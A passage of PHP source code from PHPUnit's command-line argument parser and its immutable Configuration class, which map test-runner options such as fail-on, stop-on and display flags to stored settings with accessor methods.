$resolveDependencies = false; break; case 'random': $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; break; case 'reverse': $executionOrder = TestSuiteSorter::ORDER_REVERSED; break; case 'size': $executionOrder = TestSuiteSorter::ORDER_SIZE; break; default: throw new Exception( sprintf( 'unrecognized --order-by option: %s', $order, ), ); } } break; case '--process-isolation': $processIsolation = true; break; case '--stderr': $stderr = true; break; case '--fail-on-all-issues': $failOnAllIssues = true; break; case '--fail-on-deprecation': $this->warnWhenOptionsConflict( $doNotFailOnDeprecation, '--fail-on-deprecation', '--do-not-fail-on-deprecation', ); $failOnDeprecation = true; break; case '--fail-on-phpunit-deprecation': $this->warnWhenOptionsConflict( $doNotFailOnPhpunitDeprecation, '--fail-on-phpunit-deprecation', '--do-not-fail-on-phpunit-deprecation', ); $failOnPhpunitDeprecation = true; break; case '--fail-on-phpunit-warning': $this->warnWhenOptionsConflict( $doNotFailOnPhpunitWarning, '--fail-on-phpunit-warning', '--do-not-fail-on-phpunit-warning', ); $failOnPhpunitWarning = true; break; case '--fail-on-empty-test-suite': $this->warnWhenOptionsConflict( $doNotFailOnEmptyTestSuite, '--fail-on-empty-test-suite', '--do-not-fail-on-empty-test-suite', ); $failOnEmptyTestSuite = true; break; case '--fail-on-incomplete': $this->warnWhenOptionsConflict( $doNotFailOnIncomplete, '--fail-on-incomplete', '--do-not-fail-on-incomplete', ); $failOnIncomplete = true; break; case '--fail-on-notice': $this->warnWhenOptionsConflict( $doNotFailOnNotice, '--fail-on-notice', '--do-not-fail-on-notice', ); $failOnNotice = true; break; case '--fail-on-risky': $this->warnWhenOptionsConflict( $doNotFailOnRisky, '--fail-on-risky', '--do-not-fail-on-risky', ); $failOnRisky = true; break; case '--fail-on-skipped': $this->warnWhenOptionsConflict( $doNotFailOnSkipped, '--fail-on-skipped', '--do-not-fail-on-skipped', ); $failOnSkipped = true; break; case '--fail-on-warning': $this->warnWhenOptionsConflict( $doNotFailOnWarning, '--fail-on-warning', '--do-not-fail-on-warning', ); $failOnWarning = true; break; case '--do-not-fail-on-deprecation': $this->warnWhenOptionsConflict( $failOnDeprecation, '--do-not-fail-on-deprecation', '--fail-on-deprecation', ); $doNotFailOnDeprecation = true; break; case '--do-not-fail-on-phpunit-deprecation': $this->warnWhenOptionsConflict( $failOnPhpunitDeprecation, '--do-not-fail-on-phpunit-deprecation', '--fail-on-phpunit-deprecation', ); $doNotFailOnPhpunitDeprecation = true; break; case '--do-not-fail-on-phpunit-warning': $this->warnWhenOptionsConflict( $failOnPhpunitWarning, '--do-not-fail-on-phpunit-warning', '--fail-on-phpunit-warning', ); $doNotFailOnPhpunitWarning = true; break; case '--do-not-fail-on-empty-test-suite': $this->warnWhenOptionsConflict( $failOnEmptyTestSuite, '--do-not-fail-on-empty-test-suite', '--fail-on-empty-test-suite', ); $doNotFailOnEmptyTestSuite = true; break; case '--do-not-fail-on-incomplete': $this->warnWhenOptionsConflict( $failOnIncomplete, '--do-not-fail-on-incomplete', '--fail-on-incomplete', ); $doNotFailOnIncomplete = true; break; case '--do-not-fail-on-notice': $this->warnWhenOptionsConflict( $failOnNotice, '--do-not-fail-on-notice', '--fail-on-notice', ); $doNotFailOnNotice = true; break; case '--do-not-fail-on-risky': $this->warnWhenOptionsConflict( $failOnRisky, '--do-not-fail-on-risky', '--fail-on-risky', ); $doNotFailOnRisky = true; break; case '--do-not-fail-on-skipped': $this->warnWhenOptionsConflict( $failOnSkipped, '--do-not-fail-on-skipped', '--fail-on-skipped', ); $doNotFailOnSkipped = true; break; case '--do-not-fail-on-warning': $this->warnWhenOptionsConflict( $failOnWarning, '--do-not-fail-on-warning', '--fail-on-warning', ); $doNotFailOnWarning = true; break; case '--stop-on-defect': $stopOnDefect = true; break; case '--stop-on-deprecation': $stopOnDeprecation = true; break; case '--stop-on-error': $stopOnError = true; break; case '--stop-on-failure': $stopOnFailure = true; break; case '--stop-on-incomplete': $stopOnIncomplete = true; break; case '--stop-on-notice': $stopOnNotice = true; break; case '--stop-on-risky': $stopOnRisky = true; break; case '--stop-on-skipped': $stopOnSkipped = true; break; case '--stop-on-warning': $stopOnWarning = true; break; case '--teamcity': $printerTeamCity = true; break; case '--testdox': $printerTestDox = true; break; case '--testdox-html': $testdoxHtmlFile = $option[1]; break; case '--testdox-text': $testdoxTextFile = $option[1]; break; case '--no-configuration': $useDefaultConfiguration = false; break; case '--no-extensions': $noExtensions = true; break; case '--no-coverage': $noCoverage = true; break; case '--no-logging': $noLogging = true; break; case '--no-output': $noOutput = true; break; case '--no-progress': $noProgress = true; break; case '--no-results': $noResults = true; break; case '--globals-backup': $backupGlobals = true; break; case '--static-backup': $backupStaticProperties = true; break; case '--atleast-version': $atLeastVersion = $option[1]; break; case '--version': $version = true; break; case '--do-not-report-useless-tests': case '--dont-report-useless-tests': $reportUselessTests = false; break; case '--strict-coverage': $strictCoverage = true; break; case '--disable-coverage-ignore': $disableCodeCoverageIgnore = true; break; case '--strict-global-state': $beStrictAboutChangesToGlobalState = true; break; case '--disallow-test-output': $disallowTestOutput = true; break; case '--display-all-issues': $displayAllIssues = true; break; case '--display-incomplete': $displayIncomplete = true; break; case '--display-skipped': $displaySkipped = true; break; case '--display-deprecations': $displayDeprecations = true; break; case '--display-phpunit-deprecations': $displayPhpunitDeprecations = true; break; case '--display-errors': $displayErrors = true; break; case '--display-notices': $displayNotices = true; break; case '--display-warnings': $displayWarnings = true; break; case '--default-time-limit': $defaultTimeLimit = (int) $option[1]; break; case '--enforce-time-limit': $enforceTimeLimit = true; break; case '--reverse-list': $reverseList = true; break; case '--check-php-configuration': $checkPhpConfiguration = true; break; case '--check-version': $checkVersion = true; break; case '--coverage-filter': if ($coverageFilter === null) { $coverageFilter = []; } $coverageFilter[] = $option[1]; $optionAllowedMultipleTimes = true; break; case '--random-order': $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; break; case '--random-order-seed': $randomOrderSeed = (int) $option[1]; break; case '--resolve-dependencies': $resolveDependencies = true; break; case '--ignore-dependencies': $resolveDependencies = false; break; case '--reverse-order': $executionOrder = TestSuiteSorter::ORDER_REVERSED; break; case '--log-events-text': $logEventsText = Filesystem::resolveStreamOrFile($option[1]); if ($logEventsText === false) { throw new Exception( sprintf( 'The path "%s" specified for the --log-events-text option could not be resolved', $option[1], ), ); } break; case '--log-events-verbose-text': $logEventsVerboseText = Filesystem::resolveStreamOrFile($option[1]); if ($logEventsVerboseText === false) { throw new Exception( sprintf( 'The path "%s" specified for the --log-events-verbose-text option could not be resolved', $option[1], ), ); } break; case '--debug': $debug = true; break; } if (!$optionAllowedMultipleTimes) { $this->markProcessed($option[0]); } } if (empty($iniSettings)) { $iniSettings = null; } if (empty($coverageFilter)) { $coverageFilter = null; } return new Configuration( $options[1], $atLeastVersion, $backupGlobals, $backupStaticProperties, $beStrictAboutChangesToGlobalState, $bootstrap, $cacheDirectory, $cacheResult, $cacheResultFile, $checkPhpConfiguration, $checkVersion, $colors, $columns, $configuration, $coverageClover, $coverageCobertura, $coverageCrap4J, $coverageHtml, $coveragePhp, $coverageText, $coverageTextShowUncoveredFiles, $coverageTextShowOnlySummary, $coverageXml, $pathCoverage, $coverageCacheDirectory, $warmCoverageCache, $defaultTimeLimit, $disableCodeCoverageIgnore, $disallowTestOutput, $enforceTimeLimit, $excludeGroups, $executionOrder, $executionOrderDefects, $failOnAllIssues, $failOnDeprecation, $failOnPhpunitDeprecation, $failOnPhpunitWarning, $failOnEmptyTestSuite, $failOnIncomplete, $failOnNotice, $failOnRisky, $failOnSkipped, $failOnWarning, $doNotFailOnDeprecation, $doNotFailOnPhpunitDeprecation, $doNotFailOnPhpunitWarning, $doNotFailOnEmptyTestSuite, $doNotFailOnIncomplete, $doNotFailOnNotice, $doNotFailOnRisky, $doNotFailOnSkipped, $doNotFailOnWarning, $stopOnDefect, $stopOnDeprecation, $stopOnError, $stopOnFailure, $stopOnIncomplete, $stopOnNotice, $stopOnRisky, $stopOnSkipped, $stopOnWarning, $filter, $generateBaseline, $useBaseline, $ignoreBaseline, $generateConfiguration, $migrateConfiguration, $groups, $testsCovering, $testsUsing, $help, $includePath, $iniSettings, $junitLogfile, $listGroups, $listSuites, $listTests, $listTestsXml, $noCoverage, $noExtensions, $noOutput, $noProgress, $noResults, $noLogging, $processIsolation, $randomOrderSeed, $reportUselessTests, $resolveDependencies, $reverseList, $stderr, $strictCoverage, $teamcityLogfile, $testdoxHtmlFile, $testdoxTextFile, $testSuffixes, $testSuite, $excludeTestSuite, $useDefaultConfiguration, $displayAllIssues, $displayIncomplete, $displaySkipped, $displayDeprecations, $displayPhpunitDeprecations, $displayErrors, $displayNotices, $displayWarnings, $version, $coverageFilter, $logEventsText, $logEventsVerboseText, $printerTeamCity, $printerTestDox, $debug, ); } /** * @psalm-param non-empty-string $option */ private function markProcessed(string $option): void { if (!isset($this->processed[$option])) { $this->processed[$option] = 1; return; } $this->processed[$option]++; if ($this->processed[$option] === 2) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Option %s cannot be used more than once', $option, ), ); } } /** * @psalm-param non-empty-string $option */ private function warnWhenOptionsConflict(?bool $current, string $option, string $opposite): void { if ($current === null) { return; } EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Options %s and %s cannot be used together', $option, $opposite, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Configuration { /** * @psalm-var list */ private readonly array $arguments; private readonly ?string $atLeastVersion; private readonly ?bool $backupGlobals; private readonly ?bool $backupStaticProperties; private readonly ?bool $beStrictAboutChangesToGlobalState; private readonly ?string $bootstrap; private readonly ?string $cacheDirectory; private readonly ?bool $cacheResult; private readonly ?string $cacheResultFile; private readonly bool $checkPhpConfiguration; private readonly bool $checkVersion; private readonly ?string $colors; private readonly null|int|string $columns; private readonly ?string $configurationFile; private readonly ?array $coverageFilter; private readonly ?string $coverageClover; private readonly ?string $coverageCobertura; private readonly ?string $coverageCrap4J; private readonly ?string $coverageHtml; private readonly ?string $coveragePhp; private readonly ?string $coverageText; private readonly ?bool $coverageTextShowUncoveredFiles; private readonly ?bool $coverageTextShowOnlySummary; private readonly ?string $coverageXml; private readonly ?bool $pathCoverage; private readonly ?string $coverageCacheDirectory; private readonly bool $warmCoverageCache; private readonly ?int $defaultTimeLimit; private readonly ?bool $disableCodeCoverageIgnore; private readonly ?bool $disallowTestOutput; private readonly ?bool $enforceTimeLimit; private readonly ?array $excludeGroups; private readonly ?int $executionOrder; private readonly ?int $executionOrderDefects; private readonly ?bool $failOnAllIssues; private readonly ?bool $failOnDeprecation; private readonly ?bool $failOnPhpunitDeprecation; private readonly ?bool $failOnPhpunitWarning; private readonly ?bool $failOnEmptyTestSuite; private readonly ?bool $failOnIncomplete; private readonly ?bool $failOnNotice; private readonly ?bool $failOnRisky; private readonly ?bool $failOnSkipped; private readonly ?bool $failOnWarning; private readonly ?bool $doNotFailOnDeprecation; private readonly ?bool $doNotFailOnPhpunitDeprecation; private readonly ?bool $doNotFailOnPhpunitWarning; private readonly ?bool $doNotFailOnEmptyTestSuite; private readonly ?bool $doNotFailOnIncomplete; private readonly ?bool $doNotFailOnNotice; private readonly ?bool $doNotFailOnRisky; private readonly ?bool $doNotFailOnSkipped; private readonly ?bool $doNotFailOnWarning; private readonly ?bool $stopOnDefect; private readonly ?bool $stopOnDeprecation; private readonly ?bool $stopOnError; private readonly ?bool $stopOnFailure; private readonly ?bool $stopOnIncomplete; private readonly ?bool $stopOnNotice; private readonly ?bool $stopOnRisky; private readonly ?bool $stopOnSkipped; private readonly ?bool $stopOnWarning; private readonly ?string $filter; private readonly ?string $generateBaseline; private readonly ?string $useBaseline; private readonly bool $ignoreBaseline; private readonly bool $generateConfiguration; private readonly bool $migrateConfiguration; private readonly ?array $groups; private readonly ?array $testsCovering; private readonly ?array $testsUsing; private readonly bool $help; private readonly ?string $includePath; private readonly ?array $iniSettings; private readonly ?string $junitLogfile; private readonly bool $listGroups; private readonly bool $listSuites; private readonly bool $listTests; private readonly ?string $listTestsXml; private readonly ?bool $noCoverage; private readonly ?bool $noExtensions; private readonly ?bool $noOutput; private readonly ?bool $noProgress; private readonly ?bool $noResults; private readonly ?bool $noLogging; private readonly ?bool $processIsolation; private readonly ?int $randomOrderSeed; private readonly ?bool $reportUselessTests; private readonly ?bool $resolveDependencies; private readonly ?bool $reverseList; private readonly ?bool $stderr; private readonly ?bool $strictCoverage; private readonly ?string $teamcityLogfile; private readonly ?bool $teamCityPrinter; private readonly ?string $testdoxHtmlFile; private readonly ?string $testdoxTextFile; private readonly ?bool $testdoxPrinter; /** * @psalm-var ?non-empty-list */ private readonly ?array $testSuffixes; private readonly ?string $testSuite; private readonly ?string $excludeTestSuite; private readonly bool $useDefaultConfiguration; private readonly ?bool $displayDetailsOnAllIssues; private readonly ?bool $displayDetailsOnIncompleteTests; private readonly ?bool $displayDetailsOnSkippedTests; private readonly ?bool $displayDetailsOnTestsThatTriggerDeprecations; private readonly ?bool $displayDetailsOnPhpunitDeprecations; private readonly ?bool $displayDetailsOnTestsThatTriggerErrors; private readonly ?bool $displayDetailsOnTestsThatTriggerNotices; private readonly ?bool $displayDetailsOnTestsThatTriggerWarnings; private readonly bool $version; private readonly ?string $logEventsText; private readonly ?string $logEventsVerboseText; private readonly bool $debug; /** * @psalm-param list $arguments * @psalm-param ?non-empty-list $testSuffixes */ public function __construct(array $arguments, ?string $atLeastVersion, ?bool $backupGlobals, ?bool $backupStaticProperties, ?bool $beStrictAboutChangesToGlobalState, ?string $bootstrap, ?string $cacheDirectory, ?bool $cacheResult, ?string $cacheResultFile, bool $checkPhpConfiguration, bool $checkVersion, ?string $colors, null|int|string $columns, ?string $configurationFile, ?string $coverageClover, ?string $coverageCobertura, ?string $coverageCrap4J, ?string $coverageHtml, ?string $coveragePhp, ?string $coverageText, ?bool $coverageTextShowUncoveredFiles, ?bool $coverageTextShowOnlySummary, ?string $coverageXml, ?bool $pathCoverage, ?string $coverageCacheDirectory, bool $warmCoverageCache, ?int $defaultTimeLimit, ?bool $disableCodeCoverageIgnore, ?bool $disallowTestOutput, ?bool $enforceTimeLimit, ?array $excludeGroups, ?int $executionOrder, ?int $executionOrderDefects, ?bool $failOnAllIssues, ?bool $failOnDeprecation, ?bool $failOnPhpunitDeprecation, ?bool $failOnPhpunitWarning, ?bool $failOnEmptyTestSuite, ?bool $failOnIncomplete, ?bool $failOnNotice, ?bool $failOnRisky, ?bool $failOnSkipped, ?bool $failOnWarning, ?bool $doNotFailOnDeprecation, ?bool $doNotFailOnPhpunitDeprecation, ?bool $doNotFailOnPhpunitWarning, ?bool $doNotFailOnEmptyTestSuite, ?bool $doNotFailOnIncomplete, ?bool $doNotFailOnNotice, ?bool $doNotFailOnRisky, ?bool $doNotFailOnSkipped, ?bool $doNotFailOnWarning, ?bool $stopOnDefect, ?bool $stopOnDeprecation, ?bool $stopOnError, ?bool $stopOnFailure, ?bool $stopOnIncomplete, ?bool $stopOnNotice, ?bool $stopOnRisky, ?bool $stopOnSkipped, ?bool $stopOnWarning, ?string $filter, ?string $generateBaseline, ?string $useBaseline, bool $ignoreBaseline, bool $generateConfiguration, bool $migrateConfiguration, ?array $groups, ?array $testsCovering, ?array $testsUsing, bool $help, ?string $includePath, ?array $iniSettings, ?string $junitLogfile, bool $listGroups, bool $listSuites, bool $listTests, ?string $listTestsXml, ?bool $noCoverage, ?bool $noExtensions, ?bool $noOutput, ?bool $noProgress, ?bool $noResults, ?bool $noLogging, ?bool $processIsolation, ?int $randomOrderSeed, ?bool $reportUselessTests, ?bool $resolveDependencies, ?bool $reverseList, ?bool $stderr, ?bool $strictCoverage, ?string $teamcityLogfile, ?string $testdoxHtmlFile, ?string $testdoxTextFile, ?array $testSuffixes, ?string $testSuite, ?string $excludeTestSuite, bool $useDefaultConfiguration, ?bool $displayDetailsOnAllIssues, ?bool $displayDetailsOnIncompleteTests, ?bool $displayDetailsOnSkippedTests, ?bool $displayDetailsOnTestsThatTriggerDeprecations, ?bool $displayDetailsOnPhpunitDeprecations, ?bool $displayDetailsOnTestsThatTriggerErrors, ?bool $displayDetailsOnTestsThatTriggerNotices, ?bool $displayDetailsOnTestsThatTriggerWarnings, bool $version, ?array $coverageFilter, ?string $logEventsText, ?string $logEventsVerboseText, ?bool $printerTeamCity, ?bool $printerTestDox, bool $debug) { $this->arguments = $arguments; $this->atLeastVersion = $atLeastVersion; $this->backupGlobals = $backupGlobals; $this->backupStaticProperties = $backupStaticProperties; $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; $this->bootstrap = $bootstrap; $this->cacheDirectory = $cacheDirectory; $this->cacheResult = $cacheResult; $this->cacheResultFile = $cacheResultFile; $this->checkPhpConfiguration = $checkPhpConfiguration; $this->checkVersion = $checkVersion; $this->colors = $colors; $this->columns = $columns; $this->configurationFile = $configurationFile; $this->coverageFilter = $coverageFilter; $this->coverageClover = $coverageClover; $this->coverageCobertura = $coverageCobertura; $this->coverageCrap4J = $coverageCrap4J; $this->coverageHtml = $coverageHtml; $this->coveragePhp = $coveragePhp; $this->coverageText = $coverageText; $this->coverageTextShowUncoveredFiles = $coverageTextShowUncoveredFiles; $this->coverageTextShowOnlySummary = $coverageTextShowOnlySummary; $this->coverageXml = $coverageXml; $this->pathCoverage = $pathCoverage; $this->coverageCacheDirectory = $coverageCacheDirectory; $this->warmCoverageCache = $warmCoverageCache; $this->defaultTimeLimit = $defaultTimeLimit; $this->disableCodeCoverageIgnore = $disableCodeCoverageIgnore; $this->disallowTestOutput = $disallowTestOutput; $this->enforceTimeLimit = $enforceTimeLimit; $this->excludeGroups = $excludeGroups; $this->executionOrder = $executionOrder; $this->executionOrderDefects = $executionOrderDefects; $this->failOnAllIssues = $failOnAllIssues; $this->failOnDeprecation = $failOnDeprecation; $this->failOnPhpunitDeprecation = $failOnPhpunitDeprecation; $this->failOnPhpunitWarning = $failOnPhpunitWarning; $this->failOnEmptyTestSuite = $failOnEmptyTestSuite; $this->failOnIncomplete = $failOnIncomplete; $this->failOnNotice = $failOnNotice; $this->failOnRisky = $failOnRisky; $this->failOnSkipped = $failOnSkipped; $this->failOnWarning = $failOnWarning; $this->doNotFailOnDeprecation = $doNotFailOnDeprecation; $this->doNotFailOnPhpunitDeprecation = $doNotFailOnPhpunitDeprecation; $this->doNotFailOnPhpunitWarning = $doNotFailOnPhpunitWarning; $this->doNotFailOnEmptyTestSuite = $doNotFailOnEmptyTestSuite; $this->doNotFailOnIncomplete = $doNotFailOnIncomplete; $this->doNotFailOnNotice = $doNotFailOnNotice; $this->doNotFailOnRisky = $doNotFailOnRisky; $this->doNotFailOnSkipped = $doNotFailOnSkipped; $this->doNotFailOnWarning = $doNotFailOnWarning; $this->stopOnDefect = $stopOnDefect; $this->stopOnDeprecation = $stopOnDeprecation; $this->stopOnError = $stopOnError; $this->stopOnFailure = $stopOnFailure; $this->stopOnIncomplete = $stopOnIncomplete; $this->stopOnNotice = $stopOnNotice; $this->stopOnRisky = $stopOnRisky; $this->stopOnSkipped = $stopOnSkipped; $this->stopOnWarning = $stopOnWarning; $this->filter = $filter; $this->generateBaseline = $generateBaseline; $this->useBaseline = $useBaseline; $this->ignoreBaseline = $ignoreBaseline; $this->generateConfiguration = $generateConfiguration; $this->migrateConfiguration = $migrateConfiguration; $this->groups = $groups; $this->testsCovering = $testsCovering; $this->testsUsing = $testsUsing; $this->help = $help; $this->includePath = $includePath; $this->iniSettings = $iniSettings; $this->junitLogfile = $junitLogfile; $this->listGroups = $listGroups; $this->listSuites = $listSuites; $this->listTests = $listTests; $this->listTestsXml = $listTestsXml; $this->noCoverage = $noCoverage; $this->noExtensions = $noExtensions; $this->noOutput = $noOutput; $this->noProgress = $noProgress; $this->noResults = $noResults; $this->noLogging = $noLogging; $this->processIsolation = $processIsolation; $this->randomOrderSeed = $randomOrderSeed; $this->reportUselessTests = $reportUselessTests; $this->resolveDependencies = $resolveDependencies; $this->reverseList = $reverseList; $this->stderr = $stderr; $this->strictCoverage = $strictCoverage; $this->teamcityLogfile = $teamcityLogfile; $this->testdoxHtmlFile = $testdoxHtmlFile; $this->testdoxTextFile = $testdoxTextFile; $this->testSuffixes = $testSuffixes; $this->testSuite = $testSuite; $this->excludeTestSuite = $excludeTestSuite; $this->useDefaultConfiguration = $useDefaultConfiguration; $this->displayDetailsOnAllIssues = $displayDetailsOnAllIssues; $this->displayDetailsOnIncompleteTests = $displayDetailsOnIncompleteTests; $this->displayDetailsOnSkippedTests = $displayDetailsOnSkippedTests; $this->displayDetailsOnTestsThatTriggerDeprecations = $displayDetailsOnTestsThatTriggerDeprecations; $this->displayDetailsOnPhpunitDeprecations = $displayDetailsOnPhpunitDeprecations; $this->displayDetailsOnTestsThatTriggerErrors = $displayDetailsOnTestsThatTriggerErrors; $this->displayDetailsOnTestsThatTriggerNotices = $displayDetailsOnTestsThatTriggerNotices; $this->displayDetailsOnTestsThatTriggerWarnings = $displayDetailsOnTestsThatTriggerWarnings; $this->version = $version; $this->logEventsText = $logEventsText; $this->logEventsVerboseText = $logEventsVerboseText; $this->teamCityPrinter = $printerTeamCity; $this->testdoxPrinter = $printerTestDox; $this->debug = $debug; } /** * @psalm-return list */ public function arguments(): array { return $this->arguments; } /** * @psalm-assert-if-true !null $this->atLeastVersion */ public function hasAtLeastVersion(): bool { return $this->atLeastVersion !== null; } /** * @throws Exception */ public function atLeastVersion(): string { if (!$this->hasAtLeastVersion()) { throw new Exception; } return $this->atLeastVersion; } /** * @psalm-assert-if-true !null $this->backupGlobals */ public function hasBackupGlobals(): bool { return $this->backupGlobals !== null; } /** * @throws Exception */ public function backupGlobals(): bool { if (!$this->hasBackupGlobals()) { throw new Exception; } return $this->backupGlobals; } /** * @psalm-assert-if-true !null $this->backupStaticProperties */ public function hasBackupStaticProperties(): bool { return $this->backupStaticProperties !== null; } /** * @throws Exception */ public function backupStaticProperties(): bool { if (!$this->hasBackupStaticProperties()) { throw new Exception; } return $this->backupStaticProperties; } /** * @psalm-assert-if-true !null $this->beStrictAboutChangesToGlobalState */ public function hasBeStrictAboutChangesToGlobalState(): bool { return $this->beStrictAboutChangesToGlobalState !== null; } /** * @throws Exception */ public function beStrictAboutChangesToGlobalState(): bool { if (!$this->hasBeStrictAboutChangesToGlobalState()) { throw new Exception; } return $this->beStrictAboutChangesToGlobalState; } /** * @psalm-assert-if-true !null $this->bootstrap */ public function hasBootstrap(): bool { return $this->bootstrap !== null; } /** * @throws Exception */ public function bootstrap(): string { if (!$this->hasBootstrap()) { throw new Exception; } return $this->bootstrap; } /** * @psalm-assert-if-true !null $this->cacheDirectory */ public function hasCacheDirectory(): bool { return $this->cacheDirectory !== null; } /** * @throws Exception */ public function cacheDirectory(): string { if (!$this->hasCacheDirectory()) { throw new Exception; } return $this->cacheDirectory; } /** * @psalm-assert-if-true !null $this->cacheResult */ public function hasCacheResult(): bool { return $this->cacheResult !== null; } /** * @throws Exception */ public function cacheResult(): bool { if (!$this->hasCacheResult()) { throw new Exception; } return $this->cacheResult; } /** * @psalm-assert-if-true !null $this->cacheResultFile * * @deprecated */ public function hasCacheResultFile(): bool { return $this->cacheResultFile !== null; } /** * @throws Exception * * @deprecated */ public function cacheResultFile(): string { if (!$this->hasCacheResultFile()) { throw new Exception; } return $this->cacheResultFile; } public function checkPhpConfiguration(): bool { return $this->checkPhpConfiguration; } public function checkVersion(): bool { return $this->checkVersion; } /** * @psalm-assert-if-true !null $this->colors */ public function hasColors(): bool { return $this->colors !== null; } /** * @throws Exception */ public function colors(): string { if (!$this->hasColors()) { throw new Exception; } return $this->colors; } /** * @psalm-assert-if-true !null $this->columns */ public function hasColumns(): bool { return $this->columns !== null; } /** * @throws Exception */ public function columns(): int|string { if (!$this->hasColumns()) { throw new Exception; } return $this->columns; } /** * @psalm-assert-if-true !null $this->configurationFile */ public function hasConfigurationFile(): bool { return $this->configurationFile !== null; } /** * @throws Exception */ public function configurationFile(): string { if (!$this->hasConfigurationFile()) { throw new Exception; } return $this->configurationFile; } /** * @psalm-assert-if-true !null $this->coverageFilter */ public function hasCoverageFilter(): bool { return $this->coverageFilter !== null; } /** * @throws Exception */ public function coverageFilter(): array { if (!$this->hasCoverageFilter()) { throw new Exception; } return $this->coverageFilter; } /** * @psalm-assert-if-true !null $this->coverageClover */ public function hasCoverageClover(): bool { return $this->coverageClover !== null; } /** * @throws Exception */ public function coverageClover(): string { if (!$this->hasCoverageClover()) { throw new Exception; } return $this->coverageClover; } /** * @psalm-assert-if-true !null $this->coverageCobertura */ public function hasCoverageCobertura(): bool { return $this->coverageCobertura !== null; } /** * @throws Exception */ public function coverageCobertura(): string { if (!$this->hasCoverageCobertura()) { throw new Exception; } return $this->coverageCobertura; } /** * @psalm-assert-if-true !null $this->coverageCrap4J */ public function hasCoverageCrap4J(): bool { return $this->coverageCrap4J !== null; } /** * @throws Exception */ public function coverageCrap4J(): string { if (!$this->hasCoverageCrap4J()) { throw new Exception; } return $this->coverageCrap4J; } /** * @psalm-assert-if-true !null $this->coverageHtml */ public function hasCoverageHtml(): bool { return $this->coverageHtml !== null; } /** * @throws Exception */ public function coverageHtml(): string { if (!$this->hasCoverageHtml()) { throw new Exception; } return $this->coverageHtml; } /** * @psalm-assert-if-true !null $this->coveragePhp */ public function hasCoveragePhp(): bool { return $this->coveragePhp !== null; } /** * @throws Exception */ public function coveragePhp(): string { if (!$this->hasCoveragePhp()) { throw new Exception; } return $this->coveragePhp; } /** * @psalm-assert-if-true !null $this->coverageText */ public function hasCoverageText(): bool { return $this->coverageText !== null; } /** * @throws Exception */ public function coverageText(): string { if (!$this->hasCoverageText()) { throw new Exception; } return $this->coverageText; } /** * @psalm-assert-if-true !null $this->coverageTextShowUncoveredFiles */ public function hasCoverageTextShowUncoveredFiles(): bool { return $this->coverageTextShowUncoveredFiles !== null; } /** * @throws Exception */ public function coverageTextShowUncoveredFiles(): bool { if (!$this->hasCoverageTextShowUncoveredFiles()) { throw new Exception; } return $this->coverageTextShowUncoveredFiles; } /** * @psalm-assert-if-true !null $this->coverageTextShowOnlySummary */ public function hasCoverageTextShowOnlySummary(): bool { return $this->coverageTextShowOnlySummary !== null; } /** * @throws Exception */ public function coverageTextShowOnlySummary(): bool { if (!$this->hasCoverageTextShowOnlySummary()) { throw new Exception; } return $this->coverageTextShowOnlySummary; } /** * @psalm-assert-if-true !null $this->coverageXml */ public function hasCoverageXml(): bool { return $this->coverageXml !== null; } /** * @throws Exception */ public function coverageXml(): string { if (!$this->hasCoverageXml()) { throw new Exception; } return $this->coverageXml; } /** * @psalm-assert-if-true !null $this->pathCoverage */ public function hasPathCoverage(): bool { return $this->pathCoverage !== null; } /** * @throws Exception */ public function pathCoverage(): bool { if (!$this->hasPathCoverage()) { throw new Exception; } return $this->pathCoverage; } /** * @psalm-assert-if-true !null $this->coverageCacheDirectory * * @deprecated */ public function hasCoverageCacheDirectory(): bool { return $this->coverageCacheDirectory !== null; } /** * @throws Exception * * @deprecated */ public function coverageCacheDirectory(): string { if (!$this->hasCoverageCacheDirectory()) { throw new Exception; } return $this->coverageCacheDirectory; } public function warmCoverageCache(): bool { return $this->warmCoverageCache; } /** * @psalm-assert-if-true !null $this->defaultTimeLimit */ public function hasDefaultTimeLimit(): bool { return $this->defaultTimeLimit !== null; } /** * @throws Exception */ public function defaultTimeLimit(): int { if (!$this->hasDefaultTimeLimit()) { throw new Exception; } return $this->defaultTimeLimit; } /** * @psalm-assert-if-true !null $this->disableCodeCoverageIgnore */ public function hasDisableCodeCoverageIgnore(): bool { return $this->disableCodeCoverageIgnore !== null; } /** * @throws Exception */ public function disableCodeCoverageIgnore(): bool { if (!$this->hasDisableCodeCoverageIgnore()) { throw new Exception; } return $this->disableCodeCoverageIgnore; } /** * @psalm-assert-if-true !null $this->disallowTestOutput */ public function hasDisallowTestOutput(): bool { return $this->disallowTestOutput !== null; } /** * @throws Exception */ public function disallowTestOutput(): bool { if (!$this->hasDisallowTestOutput()) { throw new Exception; } return $this->disallowTestOutput; } /** * @psalm-assert-if-true !null $this->enforceTimeLimit */ public function hasEnforceTimeLimit(): bool { return $this->enforceTimeLimit !== null; } /** * @throws Exception */ public function enforceTimeLimit(): bool { if (!$this->hasEnforceTimeLimit()) { throw new Exception; } return $this->enforceTimeLimit; } /** * @psalm-assert-if-true !null $this->excludeGroups */ public function hasExcludeGroups(): bool { return $this->excludeGroups !== null; } /** * @throws Exception */ public function excludeGroups(): array { if (!$this->hasExcludeGroups()) { throw new Exception; } return $this->excludeGroups; } /** * @psalm-assert-if-true !null $this->executionOrder */ public function hasExecutionOrder(): bool { return $this->executionOrder !== null; } /** * @throws Exception */ public function executionOrder(): int { if (!$this->hasExecutionOrder()) { throw new Exception; } return $this->executionOrder; } /** * @psalm-assert-if-true !null $this->executionOrderDefects */ public function hasExecutionOrderDefects(): bool { return $this->executionOrderDefects !== null; } /** * @throws Exception */ public function executionOrderDefects(): int { if (!$this->hasExecutionOrderDefects()) { throw new Exception; } return $this->executionOrderDefects; } /** * @psalm-assert-if-true !null $this->failOnAllIssues */ public function hasFailOnAllIssues(): bool { return $this->failOnAllIssues !== null; } /** * @throws Exception */ public function failOnAllIssues(): bool { if (!$this->hasFailOnAllIssues()) { throw new Exception; } return $this->failOnAllIssues; } /** * @psalm-assert-if-true !null $this->failOnDeprecation */ public function hasFailOnDeprecation(): bool { return $this->failOnDeprecation !== null; } /** * @throws Exception */ public function failOnDeprecation(): bool { if 